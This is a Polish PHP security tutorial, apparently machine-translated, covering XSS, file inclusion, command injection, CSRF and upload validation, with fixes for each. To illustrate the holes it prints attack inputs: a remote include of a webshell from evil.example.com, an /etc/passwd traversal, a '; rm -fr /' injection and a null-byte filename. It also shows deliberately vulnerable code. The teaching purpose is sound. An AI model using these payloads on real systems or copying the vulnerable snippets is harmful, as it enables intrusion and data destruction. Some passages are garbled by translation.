PHP
Bezpieczeństwo
Szukaj…
Wprowadzenie
Ponieważ większość stron internetowych korzysta z PHP, bezpieczeństwo aplikacji jest ważnym tematem dla programistów PHP, aby chronić swoją witrynę, dane i klientów. Ten temat obejmuje najlepsze praktyki bezpieczeństwa w PHP, a także typowe luki i słabości z przykładowymi poprawkami w PHP.
Uwagi
Zobacz też
Zgłaszanie błędów
Domyślnie PHP wyświetla błędy , ostrzeżenia i powiadomienia bezpośrednio na stronie, jeśli wystąpi coś nieoczekiwanego w skrypcie. Jest to przydatne do rozwiązywania określonych problemów ze skryptem, ale jednocześnie wyświetla informacje, o których użytkownicy nie chcą wiedzieć.
Dlatego dobrą praktyką jest unikanie wyświetlania wiadomości, które ujawniają informacje o twoim serwerze, takie jak drzewo katalogów, na przykład w środowisku produkcyjnym. W środowisku programistycznym lub testowym komunikaty te mogą być nadal przydatne do wyświetlania w celu debugowania.
Szybkie rozwiązanie
Możesz je wyłączyć, aby wiadomości w ogóle się nie wyświetlały, jednak utrudnia to debugowanie skryptu.
<?php
ini_set("display_errors", "0");
?>
Lub zmień je bezpośrednio w php.ini .
display_errors = 0
Obsługa błędów
Lepszym rozwiązaniem byłoby przechowywanie tych komunikatów o błędach w miejscu, w którym są bardziej przydatne, na przykład w bazie danych:
set_error_handler(function($errno , $errstr, $errfile, $errline){
try{
$pdo = new PDO("mysql:host=hostname;dbname=databasename", 'dbuser', 'dbpwd', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);
if($stmt = $pdo->prepare("INSERT INTO `errors` (no,msg,file,line) VALUES (?,?,?,?)")){
if(!$stmt->execute([$errno, $errstr, $errfile, $errline])){
throw new Exception('Unable to execute query');
}
} else {
throw new Exception('Unable to prepare query');
}
} catch (Exception $e){
error_log('Exception: ' . $e->getMessage() . PHP_EOL . "$errfile:$errline:$errno | $errstr");
}
});
Ta metoda będzie rejestrować wiadomości w bazie danych, a jeśli to nie powiedzie się do pliku zamiast echa bezpośrednio na stronie. W ten sposób możesz śledzić, czego doświadczają użytkownicy w Twojej witrynie i natychmiast powiadamiać Cię, jeśli coś pójdzie nie tak.
Cross-Site Scripting (XSS)
Problem
Skrypty między witrynami to niezamierzone wykonanie zdalnego kodu przez klienta WWW. Każda aplikacja internetowa może narazić się na XSS, jeśli pobierze dane wejściowe od użytkownika i wyśle je bezpośrednio na stronie internetowej. Jeśli dane wejściowe obejmują HTML lub JavaScript, zdalny kod może być wykonany, gdy treść ta jest renderowana przez klienta WWW.
Na przykład, jeśli strona zewnętrzna zawiera plik JavaScript :
// http://example.com/runme.js
document.write("I'm running");
A aplikacja PHP bezpośrednio przekazuje ciąg znaków do niej przekazany:
<?php
echo '<div>' . $_GET['input'] . '</div>';
Jeśli niezaznaczony parametr GET zawiera <script src="http://example.com/runme.js"></script>
wówczas wynikiem działania skryptu PHP będzie:
<div><script src="http://example.com/runme.js"></script></div>
Uruchomiony zostanie skrypt JavaScript innej firmy, a użytkownik zobaczy na stronie „Uruchomię”.
Rozwiązanie
Zasadniczo nigdy nie ufaj wkładowi pochodzącemu od klienta. Każda wartość GET, POST i cookie może być dowolną wartością i dlatego powinna zostać zweryfikowana. Kiedy wypisujesz którąś z tych wartości, unikaj ich, aby nie zostały ocenione w nieoczekiwany sposób.
Pamiętaj, że nawet w najprostszych aplikacjach dane można przenosić i trudno będzie śledzić wszystkie źródła. Dlatego najlepszą praktyką jest zawsze unikanie wyjścia.
PHP oferuje kilka sposobów na uniknięcie wyjścia w zależności od kontekstu.
Funkcje filtra
Funkcje filtrowania PHP pozwalają na dezynfekcję lub walidację danych wejściowych skryptu php na wiele sposobów . Są przydatne podczas zapisywania lub wysyłania danych wejściowych klienta.
Kodowanie HTML
htmlspecialchars
przekształci jakiekolwiek znaki specjalne „HTML” w ich kodowania HTML, co oznacza, że nie będą następnie przetwarzane w standardzie HTML. Aby naprawić nasz poprzedni przykład przy użyciu tej metody:
<?php
echo '<div>' . htmlspecialchars($_GET['input']) . '</div>';
// or
echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>';
Wyprowadziłby:
<div><script src="http://example.com/runme.js"></script></div>
Wszystko wewnątrz znacznika <div>
nie będzie interpretowane przez przeglądarkę jako znacznik JavaScript, ale jako zwykły węzeł tekstowy. Użytkownik bezpiecznie zobaczy:
<script src="http://example.com/runme.js"></script>
Kodowanie URL
Podczas generowania dynamicznie generowanego adresu URL PHP udostępnia funkcję urlencode
aby bezpiecznie wysyłać prawidłowe adresy URL. Na przykład jeśli użytkownik jest w stanie wprowadzić dane, które stają się częścią innego parametru GET:
<?php
$input = urlencode($_GET['input']);
// or
$input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL);
echo '<a href="http://example.com/page?input="' . $input . '">Link</a>';
Wszelkie złośliwe dane wejściowe zostaną przekonwertowane na zakodowany parametr adresu URL.
Korzystanie ze specjalistycznych bibliotek zewnętrznych lub list OWASP AntiSamy
Czasami będziesz chciał wysłać HTML lub inny rodzaj kodu. Będziesz musiał prowadzić listę autoryzowanych słów (biała lista) i nieautoryzowanych (czarna lista).
Możesz pobrać standardowe listy dostępne na stronie OWASP AntiSamy . Każda lista nadaje się do określonego rodzaju interakcji (eBay api, tinyMCE itp.). I to jest open source.
Istnieją biblioteki, które filtrują HTML i zapobiegają atakom XSS w ogólnym przypadku i wykonują co najmniej tak samo dobrze jak listy AntiSamy przy bardzo łatwym użyciu. Na przykład masz HTML Purifier
Dołączanie plików
Zdalne dołączanie plików
Zdalne dołączanie plików (znane również jako RFI) to rodzaj luki, która pozwala osobie atakującej na dołączenie zdalnego pliku.
W tym przykładzie wstrzykuje zdalnie hostowany plik zawierający złośliwy kod:
<?php
include $_GET['page'];
/vulnerable.php?page= http://evil.example.com/webshell.txt ?
Włączanie plików lokalnych
Lokalne dołączanie plików (znane również jako LFI) to proces dołączania plików na serwerze za pośrednictwem przeglądarki internetowej.
<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
include $page;
} else {
include 'index.php';
}
/vulnerable.php?page=../../../../etc/passwd
Rozwiązanie dla RFI i LFI:
Zaleca się, aby zezwalać na dołączanie tylko zatwierdzonych plików i ograniczać się tylko do tych.
<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
include($page);
} else {
include('index.php');
}
Wstrzyknięcie wiersza poleceń
Problem
W podobny sposób, w jaki wstrzykiwanie SQL umożliwia atakującemu wykonywanie dowolnych zapytań w bazie danych, wstrzykiwanie z wiersza poleceń pozwala komuś uruchamiać niezaufane polecenia systemowe na serwerze WWW. Przy nieprawidłowo zabezpieczonym serwerze dałoby to atakującemu pełną kontrolę nad systemem.
Załóżmy na przykład, że skrypt pozwala użytkownikowi wyświetlić zawartość katalogu na serwerze WWW.
<pre>
<?php system('ls ' . $_GET['path']); ?>
</pre>
(W rzeczywistej aplikacji można użyć wbudowanych funkcji lub obiektów PHP, aby uzyskać zawartość ścieżki. Ten przykład służy do prostej demonstracji bezpieczeństwa.)
Można mieć nadzieję, że otrzymamy parametr path
podobny do /tmp
. Ale jakkolwiek dozwolone są jakiekolwiek dane wejściowe, path
może być ; rm -fr /
. Serwer WWW wykona następnie polecenie
ls; rm -fr /
i spróbuj usunąć wszystkie pliki z katalogu głównego serwera.
Rozwiązanie
Wszystkie argumenty poleceń musi być ocalałem przy użyciu escapeshellarg()
lub escapeshellcmd()
. To sprawia, że argumenty nie są wykonywane. Dla każdego parametru należy również sprawdzić wartość wejściową.
W najprostszym przypadku możemy zabezpieczyć nasz przykład za pomocą
<pre>
<?php system('ls ' . escapeshellarg($_GET['path'])); ?>
</pre>
Zgodnie z poprzednim przykładem próby usunięcia plików wykonywane polecenie staje się
ls '; rm -fr /'
Łańcuch jest po prostu przekazywany jako parametr do ls
, zamiast kończyć komendę ls
i uruchamiać rm
.
Należy zauważyć, że powyższy przykład jest teraz zabezpieczony przed wstrzyknięciem polecenia, ale nie przed przejściem do katalogu. Aby to naprawić, należy sprawdzić, czy znormalizowana ścieżka zaczyna się od żądanego podkatalogu.
PHP oferuje szereg funkcji do wykonywania poleceń systemowych, w tym exec
, passthru
, proc_open
, shell_exec
i system
. Wszystkie dane muszą być dokładnie sprawdzone i usunięte.
Wyciek wersji PHP
Domyślnie PHP powie światu, jakiej wersji PHP używasz, np
X-Powered-By: PHP/5.3.8
Aby to naprawić, możesz zmienić plik php.ini:
expose_php = off
Lub zmień nagłówek:
header("X-Powered-By: Magic");
Lub jeśli wolisz metodę htaccess:
Header unset X-Powered-By
Jeśli którakolwiek z powyższych metod nie działa, istnieje również funkcja header_remove()
która umożliwia usunięcie nagłówka:
header_remove('X-Powered-By');
Jeśli atakujący wiedzą, że używasz PHP i wersji PHP, której używasz, łatwiej jest im wykorzystać Twój serwer.
Stripping Tags
strip_tags
to bardzo potężna funkcja, jeśli wiesz, jak z niej korzystać. Jako metodę zapobiegania atakom typu cross-site scripting istnieją lepsze metody, takie jak kodowanie znaków, ale w niektórych przypadkach przydatne jest usuwanie tagów.
Podstawowy przykład
$string = '<b>Hello,<> please remove the <> tags.</b>';
echo strip_tags($string);
Produkcja surowa
Hello, please remove the tags.
Zezwalanie na tagi
Powiedzmy, że chcesz zezwolić na określony znacznik, ale żadnych innych znaczników, a następnie określisz to w drugim parametrze funkcji. Ten parametr jest opcjonalny. W moim przypadku chcę tylko, aby tag <b>
był przekazywany.
$string = '<b>Hello,<> please remove the <br> tags.</b>';
echo strip_tags($string, '<b>');
Produkcja surowa
<b>Hello, please remove the tags.</b>
Zawiadomienie
Komentarze HTML
i znaczniki PHP
są również usuwane. Jest to zakodowane na stałe i nie można go zmienić za pomocą tagów allowable_tags.
W PHP
5.3.4 i późniejszych, samozamykające się tagi XHTML
są ignorowane i w tagach allowable_tag powinny być używane tylko te nie samozamykające się. Na przykład, aby zezwolić zarówno na <br>
jak i <br/>
, powinieneś użyć:
<?php
strip_tags($input, '<br>');
?>
Fałszowanie żądań w różnych witrynach
Problem
Fałszowanie żądań między witrynami lub CSRF
może zmusić użytkownika końcowego do nieświadomego generowania złośliwych żądań do serwera WWW. Ten wektor ataku można wykorzystać zarówno w żądaniach POST, jak i GET. Załóżmy na przykład, że punkt końcowy /delete.php?accnt=12
URL /delete.php?accnt=12
usuwa konto przekazane z parametru accnt
żądania GET. Teraz, jeśli uwierzytelniony użytkownik napotka następujący skrypt w dowolnej innej aplikacji
<img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0">
konto zostanie usunięte.
Rozwiązanie
Częstym rozwiązaniem tego problemu jest użycie tokenów CSRF . Tokeny CSRF są osadzone w żądaniach, dzięki czemu aplikacja internetowa może ufać, że żądanie pochodzi z oczekiwanego źródła w ramach normalnego przepływu pracy aplikacji. Najpierw użytkownik wykonuje pewne czynności, takie jak przeglądanie formularza, który uruchamia tworzenie unikalnego tokena. Przykładowy formularz implementujący to może wyglądać
<form method="get" action="/delete.php">
<input type="text" name="accnt" placeholder="accnt number" />
<input type="hidden" name="csrf_token" value="<randomToken>" />
<input type="submit" />
</form>
Następnie token może zostać zweryfikowany przez serwer względem sesji użytkownika po przesłaniu formularza w celu wyeliminowania złośliwych żądań.
Przykładowy kod
Oto przykładowy kod podstawowej implementacji:
/* Code to generate a CSRF token and store the same */
...
<?php
session_start();
function generate_token() {
// Check if a token is present for the current session
if(!isset($_SESSION["csrf_token"])) {
// No token present, generate a new one
$token = random_bytes(64);
$_SESSION["csrf_token"] = $token;
} else {
// Reuse the token
$token = $_SESSION["csrf_token"];
}
return $token;
}
?>
<body>
<form method="get" action="/delete.php">
<input type="text" name="accnt" placeholder="accnt number" />
<input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" />
<input type="submit" />
</form>
</body>
...
/* Code to validate token and drop malicious requests */
...
<?php
session_start();
if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) {
// Reset token
unset($_SESSION["csrf_token"]);
die("CSRF token validation failed");
}
?>
...
Istnieje już wiele bibliotek i frameworków, które mają własną implementację walidacji CSRF. Chociaż jest to prosta implementacja CSRF, musisz napisać kod, aby dynamicznie zregenerować token CSRF, aby zapobiec kradzieży i naprawie tokenów CSRF.
Przesyłanie plików
Jeśli chcesz, aby użytkownicy przesyłali pliki na Twój serwer, musisz przeprowadzić kilka kontroli bezpieczeństwa, zanim faktycznie przeniesiesz przesłany plik do katalogu internetowego.
Przesłane dane:
Ta tablica zawiera dane przesłane przez użytkownika i nie stanowi informacji o samym pliku. Podczas gdy zwykle dane te są generowane przez przeglądarkę, można łatwo złożyć zapytanie do tego samego formularza za pomocą oprogramowania.
$_FILES['file']['name'];
$_FILES['file']['type'];
$_FILES['file']['size'];
$_FILES['file']['tmp_name'];
-
name
- zweryfikuj każdy jej aspekt. -
type
- Nigdy nie używaj tych danych. Można go pobrać za pomocą funkcji PHP. -
size
- bezpieczny w użyciu. -
tmp_name
- Bezpieczny w użyciu.
Wykorzystanie nazwy pliku
Zwykle system operacyjny nie zezwala na określone znaki w nazwie pliku, ale podszywając się pod prośbę, można je dodać, umożliwiając nieoczekiwane zdarzenia. Na przykład nazwijmy plik:
../script.php%00.png
Przyjrzyj się tej nazwie pliku i powinieneś zauważyć kilka rzeczy.
- Pierwsze, co zauważysz, to
../
, całkowicie nielegalne w nazwie pliku, a jednocześnie idealnie w porządku, jeśli przenosisz plik z jednego katalogu do innego, co zrobimy dobrze? - Teraz możesz myśleć, że poprawnie weryfikujesz rozszerzenia plików w skrypcie, ale ten exploit polega na dekodowaniu adresu URL, tłumacząc
%00
na znaknull
, mówiąc w zasadzie do systemu operacyjnego, ten ciąg kończy się tutaj, usuwając.png
z nazwy pliku .
Więc teraz przesłałem script.php
do innego katalogu, script.php
proste weryfikacje rozszerzeń plików. .htaccess
pliki .htaccess
, uniemożliwiając wykonywanie skryptów z katalogu wysyłania.
Bezpieczne uzyskiwanie nazwy pliku i rozszerzenia
Możesz użyć pathinfo()
aby ekstrapolować nazwę i rozszerzenie w bezpieczny sposób, ale najpierw musimy zastąpić niechciane znaki w nazwie pliku:
// This array contains a list of characters not allowed in a filename
$illegal = array_merge(array_map('chr', range(0,31)), ["<", ">", ":", '"', "/", "\\", "|", "?", "*", " "]);
$filename = str_replace($illegal, "-", $_FILES['file']['name']);
$pathinfo = pathinfo($filename);
$extension = $pathinfo['extension'] ? $pathinfo['extension']:'';
$filename = $pathinfo['filename'] ? $pathinfo['filename']:'';
if(!empty($extension) && !empty($filename)){
echo $filename, $extension;
} else {
die('file is missing an extension or name');
}
Chociaż teraz mamy nazwę pliku i rozszerzenie, które można wykorzystać do przechowywania, nadal wolę przechowywać te informacje w bazie danych i nadać temu plikowi wygenerowaną nazwę, na przykład md5(uniqid().microtime())
+----+--------+-----------+------------+------+----------------------------------+---------------------+
| id | title | extension | mime | size | filename | time |
+----+--------+-----------+------------+------+----------------------------------+---------------------+
| 1 | myfile | txt | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11 00:38:54 |
+----+--------+-----------+------------+------+----------------------------------+---------------------+
Rozwiązałoby to problem zduplikowanych nazw plików i nieprzewidzianych exploitów w nazwie pliku. Spowodowałoby to również, że atakujący zgadłby, gdzie ten plik został zapisany, ponieważ nie może on specjalnie zaatakować go do wykonania.
Sprawdzanie poprawności typu MIME
Sprawdzanie rozszerzenia pliku w celu ustalenia, który plik jest niewystarczający, ponieważ plik może mieć nazwę image.png
ale może również zawierać skrypt php. Sprawdzając typ MIME przesłanego pliku w stosunku do rozszerzenia pliku, możesz sprawdzić, czy plik zawiera nazwę, której dotyczy jego nazwa.
Możesz nawet pójść o krok dalej w celu walidacji zdjęć, a to właśnie je otwiera:
if($mime == 'image/jpeg' && $extension == 'jpeg' || $extension == 'jpg'){
if($img = imagecreatefromjpeg($filename)){
imagedestroy($img);
} else {
die('image failed to open, could be corrupt or the file contains something else.');
}
}
Możesz pobrać typ MIME za pomocą wbudowanej funkcji lub klasy .
Biała lista Twoich przesłanych plików
Co najważniejsze, należy dodać do białej listy rozszerzenia plików i typy MIME w zależności od każdego formularza.
function isFiletypeAllowed($extension, $mime, array $allowed)
{
return isset($allowed[$mime]) &&
is_array($allowed[$mime]) &&
in_array($extension, $allowed[$mime]);
}
$allowedFiletypes = [
'image/png' => [ 'png' ],
'image/gif' => [ 'gif' ],
'image/jpeg' => [ 'jpg', 'jpeg' ],
];
var_dump(isFiletypeAllowed('jpg', 'image/jpeg', $allowedFiletypes));